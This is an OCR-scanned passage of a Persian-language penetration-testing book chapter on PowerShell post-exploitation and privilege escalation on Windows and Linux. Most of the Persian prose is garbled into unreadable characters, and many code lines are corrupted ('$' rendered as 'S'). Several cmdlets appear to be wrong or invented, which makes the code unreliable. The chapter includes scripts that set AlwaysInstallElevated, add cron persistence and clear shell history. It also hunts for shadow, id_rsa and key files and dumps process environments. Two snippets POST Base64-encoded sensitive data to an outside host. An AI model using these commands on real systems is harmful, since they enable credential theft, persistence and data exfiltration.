el ABDO (0 o)'L?J w}l.e‘ﬂ aQ as ML: Unquoted Path LS‘)“) Sl uio.a 3929 LSLQJ'-.’j)-“’ )‘ ‘5‘}).3
ololis slp ol o PowerShell s1aas isl580) Slilitel 0gall jgb a5 g 0sS (5, Swo |y s g o 51,2
13,5 ookl oo gy i

# Check for unquoted service paths

Get-WmiObject -Class Win32_Service | Where-Object { S_.PathName
-notlike ""*\\*"' -and $_.StartMode -ne 'Disabled' }

A5 o olulis e Unquoted Path sl ls a5 Sl s g s S Sl 5
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Exploiting insecure service permissions

13,5 oolatwl gyl

# Identify services with weak permissions
Get-Service | ForEach-Object {
Sservice=S_
Sacl = (Get-Acl "HKLM:\SYSTEM\CurrentControlSet\
Services\$S(Sservice.ServiceName)")
if (Sacl.Access | Where-Object { S_.IdentityReference -eq "Users"
-and S_.FileSystemRights -match "Write" }) {
# Exploit weak permissions (replace with your payload)
Write-Host "Service S(Sservice.DisplayName) has weak
permissions. Exploiting..."
}
}

&S s Glojgzme LU Sjgo )0 g WS g6 (swyp Grmm) )0 1) Bwg e lrjeme Con Sl )l
AR ool 0,5 18 oolaiul sgw 0,90 WilgT oo

DLL Hijacking

o 53, 4 yoeie wilg oo 45 «awl o y500 DLL 5 b S5 DLL Sy 550> el DLL Hijacking
DLL Jlis! slacus b slulis slp ol oo |, PowerShell .o DLL G (6,135 ,L o8 ;o o i
23,5 oolaxwl Hijacking

# Identify processes with DLL hijacking potential

Get-Process | ForEach-Object {

Sprocess =S _

SdllPath = Join-Path Sprocess.MainModule.FileName -ChildPath
"evil .dIl"
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if (-not (Test-Path SdlIPath)) {

# Exploit DLL hijacking (replace with your payload)
Write-Host "Potential DLL hijacking found in $S(Sprocess.
ProcessName). Exploiting..."

}
}

oy O9>3 Osyge 4o DLL Hijacking Jlis! slacus $ sl 1) Ll Jl> 0 0l d e e Sl ol

oS ooliiuwl oS sl,>1 sl POWerSploit Jgsle 51 peslys oo Cyizad Lo .0iS o

QS o 30,5 Leds ol Process ID 4 |, DLL 5 :Invoke-Dllinjection e

a1 48 |, Windows PE (DLL/EXE) LG < :nvoke-ReflectivePEInjection e
axl,8 S w |, DLL G Reflective jsb 4 b aiS o (5,135 L Reflective 50 4 PowerShell
LS so oy 90 ol ]

JB 3 &,50 4 PowerShell js b sg5 Gl Process ID « 1, Shellcode :Invoke-Shellcode o

>l a5 0,90 SeualS (59, » |, PowerShell ScriptBlock . dnvoke-WmiCommand e

Qils )T 0 C2 JUIS G ylgie a0 WM 5l oolaiad b 1) T 00 o )b (9,5 5 0iS oo
Registry manipulation

e 40,5 soliiwl 55 Shilitel 4 by e (6 s, Slaats 5, Kws sl ol 0 POwerShell

109 gy zehaw 50 0L 4 e Wilg o AlwaysinstallElevated s, oS o5 (Lo

# Modify the AlwayslnstallElevated registry key

SregPath = "HKCU:\Software\Policies\Microsoft\Windows\Installer"
SregName = "AlwayslnstallElevated"

New-Item -Path SregPath -Force

Set-ltemProperty -Path SregPath -Name SregName -Value 1

a2 ,1,8 V55, 1, AlwaysinstallElevated oS 5 oS oo sloul 1) a5Y (6 ) e Soo Sl (]

Sg YU Sliletel b pladin cual 4 jouie Qlgh oo a5
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Exploiting weak folder permissions

PowerShell ;i .sls 1,8 solaiwl cgm 350 ¢ o yiwd zhaw 53 5V sl g oo |y Cns ddgy slogme

3,5 ooliil el clogme b olais, 55 nls lolis gl olsi o

# Identify folders with weak permissions
Get-Childltem -Path C:\ -Recurse | Where-Object {

S_.PSIsContainer -and (Get-Acl S_.FullName).Access | Where-Object
{ S_.ldentityReference -eq "Users" -and S_.FileSystemRights -match
"Modify" }
}

Scheduled task exploitation

22,5 oolatwl le Scheduled Task Mol 5 Slobs &l oly5 oo

# Identify scheduled tasks
Get-ScheduledTask | Where-Object { S_.Principal.Userld -eq "NT
AUTHORITY\SYSTEM" } | ForEach-Object {
# Exploit scheduled task (replace with your payload)
Write-Host "Scheduled task S(S_.TaskName) is running as SYSTEM.
Exploiting..."
}
zhw (3,Y0 slp oy g oal >l SYSTEM & js0 4 o5 ole Scheduled Task oo Sl ol
DS o oLl 52y D jgo j0 15 A5 o el )8 s
Exploiting unattended installations

o9 sl bl o e slaje, aile e wledbl g4l> cusl Sew Unattended Installation
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# Search for unattended installation files
Get-Childltem -Path C:\ -Recurse -Filter "unattend.xml" -File |
ForEach-Object {
# Exploit unattended installation file (replace with your payload)
Write-Host "Unattended installation file found at S(S_.FullName).
Exploiting..."
}

s iS5l Sgo 4 |y wlead 0,53 C gilhs 4o Unattend.xml b b a5 sla bl ciey Sl oyl
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Sl 0 o yiws mhw 3,90 ol 1, PowerShell g o 458> a5 sas o oylis b Jle ol
b s laSaSS pl a5 ol (59,0 4S5 (pl 4 axg5 (Jb 0l b 5,5 solanwl Microsoft Windows
bgrpo Gla Dl aigd soliiwl jlre 5 Sl slalase j0 3585 (iolosl b (SUS 0,5 S slag )l ;o
Olpae g Hlaastie ail alils of pe 4y aual Cdlge Wilgh co g ! S8, ¢ g s a0 YL A
SIS el g S8 Bt JUb 55k 4y 00l 5oyl (a5 bas iyl 5l 65055l (ol (il
Summary
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Post-Exploitation in Linux — w29,4> |Jad
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318 pen (o iwd Sl S slalazs
ooliiwl cgw g Lateral Movement . _wiws zhaw 0 Y0 ,o |, PowerShell s can ol £,5 b
b a5 bl slojeme (6, 5ws g ol I8 Profiling ;.o ,5 peslys ass uSgd slapinemw ;o Wosls
& e 4l 0 PowerShell _:isu il 5 ool o Ll Post-Exploitation g las pdocawl 51 sl 50 0
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e The role of post-exploitation in Linux on a penetration test
e Post-exploitation on Linux

e Profiling a user with PowerShell in Linux

e File permissions in Linux

e Using PowerShell for privilege escalation in Linux

The role of post-exploitation in Linux on a penetration test
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Cad S5 &5 WKie ool aSls J3ls o Lateral Movement JsL: Linux Post-Exploitation
F03 S 4l S (6l gy @0 4 St | e SO 40T (o0 (o i s Sy 4 S350
SSH asle Sl SaSs 5w ghenST e Slol Blaal olulis g Lateral Movement sl o4 salys

D¢ oo oolazwl Pivoting 4 Port Forwarding .Tunneling
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S 1 b yg e ], bosls ol (San o5 ,liw slaces Sl L FSYNC SCP asle olo,lpl oS oo
SL eoasS jialej] Gas .l WSed ,o Post-Exploitation ,9,o s> 5 Covering Tracks
ol Jolis isu ol sl slolis 5l 605 el> 6lp Glaslacalad BT Llo g LSY 5 SKiws b 0,8
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el Bash b g0l ssle oo ,Sul calise sloyb; 9 Empire Metasploit Jols Jgloe slal5!
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Post-exploitation on Linux
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Post-Exploitation !, PowerShell ;i ostai.! ool PowerShell ;| Cross-Platform ase.s a5
Lol 3,005 jg0img (S0 s a4 50 Shae uSed o PowerShell a> 31 .05 5 5 Sl 55 wuSeid o
54 oolaxwl Post-Exploitation b o ol a5 sl wlg oo oo 590

Establishing persistence

Ol oo oie Jeolgd o PowerShell e Sl G slh>1 sl Cron I8 G slasl ol b e uSgid 5o
1wl o 03,91 Basic Cron Job <G ;i slaiges el 4o 5405 olul 1 (5 ,l0ub

# Edit crontab

crontab -e
# Add the following line to run a PowerShell script every minute

* x % % * Jusr/bin/pwsh /path/to/persistence.psi
A5l Backdoor o las b cw jiws Laa> gl (505 g9l &l e persistence.psl e Sl
Privilege escalation
5SS 09 ool o yisd zhaw (50 YL 05ill slacio b w6l p ilgs o WS 5] o POwerShell

dmled 4z g8 55 Con Sl 4 it | 2] > 0 YU llsl b as” el ‘_dLm.\.:.J)é lolis zly slo o,

# Check for processes running with elevated privileges
Get-Process | Where-Object { S_.Elevated -eq Strue } | Select-Object
ProcessName, UserName

053l Gilaal Lol 4y 5 08 o o |, i YU Sliliiel (gl)ls a5 ol b o glaonyT s g Sl 0l
AJGA &Jgawdéh.audeL 6‘)"

Enumerating users and groups

D9 ooliiul rog 5 g o)l 5 5,90 40 Sledbl (5,51 gax sl Wil oo WS 9d ,o PowerShell

# List all users and their groups
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Get-LocalUser | ForEach-Object {

Suser=S_

Sgroups = Get-LocalGroup -Member Suser.Name | Select-Object
-ExpandProperty Name

"S(Suser.Name) : $(Sgroups -join ', ')"

}

J.Su’.o dl.a)l.: ‘) L(bos; L;La.c‘ 9 61.7?.9 u‘).’)ls a Ly).o ul&}’l.b‘ YL: w)iw‘
Network enumeration

S slakayl) Cd Jlio lgie 4008 oS S Sledbl lulids 4 wilsi oo (W52 ;o PowerShell
3lee oaalive BB 5 o Sl alisgy o] ol

# List network interfaces and configurations
Get-NetIPAddress | Select-Object InterfaceAlias, IPAddress,
PrefixLength

YQ.MS solaw! IP u,u)QT Sledbs] u.d)f 6‘)9 5 J)‘yo )‘

# List network interfaces and configurations
Invoke-Expression -Command "ip addr show"

File and directory enumeration

@S 55l mer WS gid e (0 1) las, 958 pls g o Ll 4 by e Sledbl wlgs o PowerShell
Al oo ovaline JB 55 con Sl alws /etc S,15S pld 10 09250 sla Ll cund (Lo lgie

# List files in the /etc directory
Get-Childltem -Path /etc
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Data exfiltration

SIS 50y cpgar nl o Jlie SO 0gd solatul laools zl Sl gl Wl oo WS 9d ;o PowerShell

# Encode and exfiltrate a file

SfileContent = Get-Content /path/to/sensitive-file.txt -Raw
SencodedContent = [Convert]::ToBase64String([System.Text.
Encoding]::UTF8.GetBytes(SfileContent))

Invoke-RestMethod -Uri "https://snowcapcyber.com/upload" -Method
POST -Body SencodedContent

W’Ler" o J)...S 9 g_i.: Y \) UT 9 .)..JSGA Lg)uf},o) Baseb64 59 |) odig g_i» 6‘9—“’“ w)i.u‘ u.,‘

Covering tracks

Sligad 3y et 3 1y 5750 5Bl ) compms SBSY i | Dol b wilsi_o LS5 ;5 PowerShell
el 5 S 4 Bash &, 0,5 S )

# Clear Bash history
Clear-History

Oy o ol s ead 1l Ol jgiws lgw 50,5 SL L g aiS o B3> 1) les las History e Sl ol
S e S Iy,

5wes Post-Exploitation !, .Ssd ;o PowerShell sl solaiwl a5 cosl coeal 3l 4SS ol 4 axg5
sl 5 oo 6oyl Gl Jgema jgb du uS g (slapiinas .ol aiad ;08 L LsT 590004 0lusl &b ol
Sed o PowerShell a5 Jb> o aiiws gax LSS 5 o0y Sl 45 aiea Bash sl oo Sl
el 5 il LS o sl 5l oolial 5 5,5 ol oolial ol slag liw 45 Wlgi e
Dl 1y Lo g aie b WSeid 4o Post-Exploitation slaSass obasl pln  owl (jlaasis

Profiling a user with PowerShell in Linux

docdled 5 50 50 580 Sledbl (6,51 gz Jolis WS3d o PowerShell b 15" <, Profiling
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walizes slop aily 5o S Sl BB g 55l dal, SO &l b wiles o PowerShell was oo a3l e
S eSS L:aQT

User information

GID UID «5,,5 oL aox 5l o5 55 SO 4 bgsye Gledbl wilgs o WSed o PowerShell

&S obsb 1, Shell gHome (6,455 )l

# Get information about a specific user
Get-User -Name andrewblyth

S o 2Lk andrewblyth ob a0 )5 slp ) 0,5 wledbl Get-User 5,5 cmdlet .l
Running processes

et ansle ol )5 o b o e slani] 8 51 e 5950 S B amS oo 03]

# Get processes for a specific user
Get-Process | Where-Object { S_.UserName -eq "andrewblyth" }

QS oo S |y Andrewlyth )15 ol 5 Lt b 5o slaosT b cos Sl oyl
Network connections

D &l 5L L e aSis SYLasl 5,90 4o i Jilg o S 5d o PowerShell

# Get network connections for a specific user
Get-NetTCPConnection -OwningUser "andrewblyth"

Qas e slas | Andrewlyth )15 4 slee TCP S¥Lasl 4 bgs o ledbl jgiws 4l
File and directory access
5 b Ll ced gl 2l o PowerShell el cuoypd a0 oo yiws 9 )5 b6 S, Jels Profiling
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# List files and directories for a specific user
Get-Childltem -Path /home/andrewblyth
Q2o o 1l Andrewlyth <\l Home 5,555 pls o 1) g, 958 pls g lo bl 5l ciwd e Sl o
Installed software
02l 1) el ol g 0 solaiwl (S g (slapa 0 sal cuas sla,li8l o5 5l Wil o PowerShell

get- o cmdlet sl eoliinl b Jle benl 1o 0,138 Goles a0ty )5 6,158 o5 b b 0iS o

1wl o0 00,41 Stalledsoftware

# Get installed software for a specific user
Get-InstalledSoftware -User "andrewblyth"

.J.JSLSA Lg,l.»)l., |) Andrewlyth ).3)[5 6‘)—.’ IR WY LSLQ)‘)'.é‘ ‘aji )‘ ‘5.......J Cmdlet u.,‘
Recent activities

IS o3l clacled o s SleMbl (g jglanz sl |, i SloSY Wil o Ssie) Lo PowerShell
il PS8 0 )5 SG slp w3l 0,5 Glaslag, (2Ll Jle S aS g

# Get recent login events for a specific user
Get-WinEvent -LogName auth.log -FilterXPath "*[System[(EventID=1) and
EventData[Data[@Name='user']='Sandrewblyth]]]" -MaxEvents 10
S e oLk authdog LG sl andrewblyth IS sl 31 coge 5l slagg, Ve Jle o
Data exfiltration
Sg oolitwl calisee (oSS 5l solaiwl b WSgd ,o Data Exfiltration i, wilss . PowerShell
Jle o el yo el e G,k 5l gl eyl 3 Baseb4 o asols (5,138505 !, sla g, 5l (SO

1] 03 06)91 ‘5.«0).9
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# Encode and send data to a remote server

Sdata = "SensitiveData"

SencodedData = [Convert]::ToBase64String([System.Text.Encoding]::UTF8.
GetBytes(Sdata))

Invoke-WebRequest -Uri "https://snpowcapcyber.com.com/upload.php"
-Method POST -Body SencodedData

JrsS Cob jg,m SO a ]y o] 5 oS 0 5,005 50, Baseb4 s 1, SensitiveData ais, <o Sl oyl
S o sl 2l

W oo lias WSend jo IS Profiling 1, |, PowerShell ogall s )15 soiasl)l sla Jlio a5 J> ,o
Voors a5 Canl ogr Slygiws 5 Il 5 26 aitacnsST Gl nSgid a5 ool aLils azgs a5 Coul ngoo
, o3¥ wledbl el /var/log ,slog g netstat 41s ps asle Sygiws aigi oo ooliiwl bl ool
s, 5 sl PowerShell a5 o iSaal slalose jo (Jl> ol b .ases oo 3l PowerShell 4 5L 0
2 Omebogl 5 emgican,Sul o )il Wlsie O] el i coale wsliee esliial Ko
luls 4 a>95 L b PowerShell b uSed o 5 5 G Profiling .aas 4] Galisee sl fule it
255 58 gy 850 g g0 oaliul G 40 &S Jaime die) g ol

File permissions in Linux

e b g oo 3 Seang sladazme sl Can Sl by o st 4 (s 5k 4 & PowerShell
2 el ool S (WS eid slapiuas 5o 1) 095 slacolls Core PowerShell (PowerShell 7)
ool (Ko 5,955 010 9 R sbajome sl (oog Dlygiws g bajlpl a4 Jsl 4z s o WSend &5 J>
oy Lo donl jo ams &)l calisee sla folepimas o 1, <ol Scripting lal, <G wils . PowerShell
Qb ansls Jobs Ll slajeme b ailgs co (S ,0 POwerShell 4> a5 0,5 penlys

Viewing file permissions

QS sanlie Get-Acl jloolaul L1y LB slajeme b ans oo 05>l ol )5 4 WS o PowerShell
ey Ll o ) )y Jle
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# Get file permissions for a specific file
Get-Acl /path/to/file.txt

CoSlle & bgy o D52 5 WS oo (23l ool astie LB sl 1) (ACL) (g s J 508 Cand j9ms
o o (Lad | o9 g
Granting file permissions
il )5 SG 4 RBg5 g leS oo sllacl
# Grant read and write permissions to a user
SfilePath = "/path/to/file.txt"
Suser =" andrewblyth "
Srule = New-Object System.Security.AccessControl.

FileSystemAccessRule(Suser, "Read, Write", "Allow")
(Get-Acl SfilePath).AddAccessRule(Srule) | Set-Acl SfilePath

P g g Silgzo |y asin Ll o
Modifying file permissions
aslol ay bgspo oy Jlio 0 ooliiuwl L1 ;0 09350 (slojg7e Mol (gl wilgs oo S5 o POwerShell
el 05,5 Sy 4 gl slajgme (0,5
# Add execute permissions to a group
SfilePath = "/path/to/file.sh"
Sgroup = "developers"
Srule = New-Object System.Security.AccessControl.

FileSystemAccessRule(Sgroup, "ExecuteFile", "Allow")
(Get-Acl SfilePath).AddAccessRule(Srule) | Set-Acl SfilePath

L6 ams o ojl>! developers 05,5 4 a5 wiS e adlol 1w iws gl SO g Sl
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Revoking file permissions

g oolawl bl slajeme i L ga) (ly Wlg oo crizen POWerShell

# Remove write permissions from a user
SfilePath = "/path/to/data.txt"

Suser = "alice"

Sacl = Get-Acl SfilePath

Srule = Sacl.Access | Where-Object { S_.ldentityReference -eq Suser
-and S_.FileSystemRights -eq "Write" }
Sacl.RemoveAccessRule(Srule) | Set-Acl SfilePath

A..S‘so B> 9 gl.wl.o.w W) Um J.‘b 39 alice ).3)[5 Lg‘).’ |) U‘“‘"’?" o)L‘>‘ U?“lj w)iw‘ u.s‘
Changing ownership

bl S colo ows J 50 ) S Sl iSO VeIl o 2l o PowerShell
o] Lg).in) ).’)lf

# Change file ownership to a different user
SfilePath = "/path/to/file.txt"
SnewOwner = "andrewblyth"

(Get-Acl SfilePath).SetOwner([System.Security.Principal.NTAccount]
SnewOwner) | Set-Acl SfilePath

Qo o s andrewblyth IS« 1) oo (asein Jo STl oo Sl 5
Checking effective permissions
Jbe a8 oy BB SO 0 1y 15 (sl Effective Permissions wilgs o (wSed o PowerShell

S s e 0y p

# Check effective permissions for a user
SfilePath = "/path/to/document.pdf"

7 ownership
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Suser = "guest"
(Get-Acl SfilePath).Access | Where-Object { S_.ldentityReference -eq
Suser }

QS oo 2bb oo asie BB o1, )5 e sl Effective Permissions jgiws oyl
Inheriting permissions
ooliiel cewl oo, &)l as ln Child Object lawg a5 olajeme g0 S sl 55 oo POwerShell
sl I Parent 5l e jeme 4o p &)l a lp 6,685 pls o o Ko s bogspe o Jlie 0,5
# Configure directory to inherit permissions
SdirectoryPath = "/path/to/folder"
Sacl = Get-Acl SdirectoryPath

Sacl.SetAccessRuleProtection(Sfalse, Strue)
Set-Acl SdirectoryPath Sacl

@ 09> Parent ;i1 lajgme oo oo o3l oy b g 05 o Jlad e 1y (5,655 uls Protection co Sl oyl
Sy &)
Checking Access Control Lists (ACLs)
Jlis asS Cew g3 ACL G o 1) (ACE) (o s J5isS (slas09,9 plod wilgs o S 3d ;o PowerShell
Sy S o 1y )

# List all ACEs in an ACL

SfilePath = "/path/to/data.txt"
(Get-Acl SfilePath).Access

g o ooliiwl b slajeme o i lp Jeere j5b 4 getfacl g chown chmod ol 53]
Slaasiie ams oo ) (Keal ladose 10 039 4 cull Sty Sl 425 S S5 0 PowerShell
g Ao b 0digyp jgme Lo pde 6‘)” PowerShell 9 (Y LSLQ)‘)"‘ O o=l r:li.a: ‘SM‘

WS 0 ] S5 S5 (i o5 Sel3l

@ Securityworld.ir Luo 63l 9lid jol 6383 S iy




Eﬂl’ﬂ 3965 G (5l g Sl ygb b oulubl @

SECURITYWORLD

Using PowerShell for privilege escalation in Linux

o5 4ol 6B 5 sasr sbyl 4 Ysens Ssid a5 Jb> o .l ools i 5 PowerShell Core
4 Jied ;08 0558l Wilgs o WS eid o PowerShell ol Ko o s mhaw 040 2L (61,0 Bash asle

Al sl sl acgeze
Checking the current user’s privileges

S od o PowerShell .cusl 5,50 Jad )5 Sljlitel S50 ¢ o yiws mhaws 0 5V gl 5 51 LS
S bk 1y (ed 5 Sledsl wilgs o

# Check current user's privileges
whoami

395 Dljltel 0590 j0 adgl Giiw lp 1) GGl pl g a0 SN x5S (60,15 oL eoles Hgiws
Enumerating local groups and users

L';‘)" U‘?“LSQ PowerShell )| | R e GE...».» uonb 9 [alf g.:.i é?u 01)4)[5 9 LD:OB; GL»JL&.»J
:o; oolazul La:u] Lg'..a.c-‘ 9 é}m LSL‘°°9)f G’MLM.:

# Enumerate local groups and their members
Get-LocalGroup | ForEach-Object {
Sgroup =$_
Write-Host "Group: S(Sgroup.Name)"
Get-LocalGroupMember -Group Sgroup.Name

s 50, (gl ogilly Glanl _loliss a4y g 0 o o |y oy sliael o oo (sloog,S dod Ca Sl iy

S o SaS s
Checking sudo configuration

13,5 eolazwl sudoers L saslie sly ols5 o PowerShell ;|
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# Check sudoers file
cat /etc/sudoers

l,sudo wlilewel slyls &lygims 5 ol )15 (g0 S g ams oo Lioles |, sudoers Ll obgize Hgiws oy

Checking executable file permissions

WS (oo @l o yiws mhe 3L Gl |y placs b LAX lajeze b a2l ol plubis
239 oolatl gl 970 b o bl seins sl wilgs o POWerShell

# Find executable files with lax permissions
Get-Childltem -Path / -type f -executable | ForEach-Object {

Sfile=S_
Write-Host "Executable File: S(Sfile.FullName)"

Cad A L 05.5.][% db)ﬁm 6|)|o as ‘) 6‘3)‘5* 9 00503 gz |) G»|)>| LSL“J’LQ WJS...:‘ u.,‘

Exploiting weak service configurations

LQLJ’“ﬁﬁ)"" 6>L4L~w EY “\"‘9'\5“ PowerShe” Sl 00 o0l QL.»A ) sz.w‘ 50 aS )5.'4.»[.0.3& .09_0.; ool

# Check for services with weak configurations

Get-Service | ForEach-Obiject {

Sservice=S_

Write-Host "Service: S(Sservice.DisplayName), StartType:
S(Sservice.StartType)"

}
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Exploiting crontab entries

Caw b Sl o)lg oo POwerShell 51,5 o, w iiws mhaw 9,2V sl ol oo |, Lo Cron Job
13,5 soliiwl o Cron Job s g 4555 9 0,5

# List cron jobs
crontab -

o Scheduled Task 5,50 ;o |, olo i g aos oo Sinles b )5 slp 1) o Cron Job jgiws oyl
AR 0 4\3‘)‘ J.JJ.».f )‘).9 ool £gm 0490 S| k)iM as
Exploiting world-writable directories

13,5 eoliiul las, 955 pls 4555 opl Sluls sl oly5 o POwerShell

# Find world-writable directories

Get-Childltem -Path / -type d | Where-Object { S_.Attributes -match
"OtherWrite" } | ForEach-Object {

Sdir=5_
Write-Host "World-Writable Directory: S(Sdir.FullName)"
}

sgm )90 (o phaw (0 Vb gl ailg e a5 g BB lajeze b sl e pls o Sl
S e ool | 05,08 15 wolizl

DLL Hijacking

ololis sl ailgs o PowerShell .cuul o DLL (gly goxins oo 10 (5,5ws el DLL Hijacking

.)B.w ool ML’ )JJQMT DLL H|JaCk|ng ).3‘).3 )d S| u_io.o as ‘SJLQM‘)S

# Identify processes with DLL hijacking potential
Get-Process | ForEach-Object {
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Sprocess =S _
SdllPath = Join-Path Sprocess.MainModule.FileName -ChildPath
"evil.dll"
if (-not (Test-Path SdlIPath)) {
Write-Host "Potential DLL hijacking found in S(Sprocess.
ProcessName). Exploiting..."

}
}

Sy 3 g S oo oy DLL Hijacking Jlois! slaces s ol |y Ll Jlo o ol o can Sl oyl

Ao oo jloie i3l

Password files and sensitive information

| sl g yid s 53,V gz gl SIS Sy el Sl by e, sla bl g5z
:0)5 oolazul Ls.»LcoJ;lB O (697w 6‘)‘.’ u‘ﬁ‘g_s‘ PowerShell

# Search for password files

Get-Childltem -Path / -type f -name "passwd*" -or -name "shadow"
-or -name "sudoers" -or -name "id_rsa" -or -name "id_dsa" -or -name
"*.key"

el ol yon ole ST L jsue sloge, b Ygons 45 S o goin |, glo bl con Sl oyl
Exploiting wildcard injection

wp Sl oy e PowerShell 51 sgs aulgsl Cdlge 4 o canl Saw &l ygws o Wildcard
23,5 soliw! Wildcard Injection sl s pds o]

# Check for wildcard injection vulnerabilities
Get-Childltem -Path / -include "*.log*" -Recurse

bl 4 Wlgs e 5 S e s 108 o5 L aillas sloal L1, pla bl con Sl oyl
&S S8 Wildcard Injection ogall slas iy ca!

@ Securityworld.ir e AL ER SRS S




ES_PJ 3965 G (5l g Sl ygb b oulubl @

SECURITYWORLD

Exploiting setuid and setgid binaries

ol 8L slp oy o PowerShell laigs o >l Ll Sl wljlol b setgid 4 setuid sl b
13,5 oolaiwl g il aigS

# Find setuid and setgid binaries
find / -type f -perm /4000 -or -perm /2000 2>/dev/null

Vb Glp |y slacs 8 0gill job 4 aS was o ylis |, setgid g setuid slas ol cad jgiws oyl
S (g0 @l S (ou i rlans

Exploiting environment variables

S miin ooy sl ole e POwerShell 51w )i 3G adlyy Jd, 5 aslg oo dassre (sl puiio

1,5 ool Jaoe

# Check environment variables

Get-Childltem -Path /proc/*/environ -type f | ForEach-Object {
SenvContents = Get-Content S_.FullName
Write-Host "Environment Variables in $(S_.FullName):"
Write-Host SenvContents

Angmw;)‘ﬁobLM‘;wé)jﬁw‘u&oﬁ
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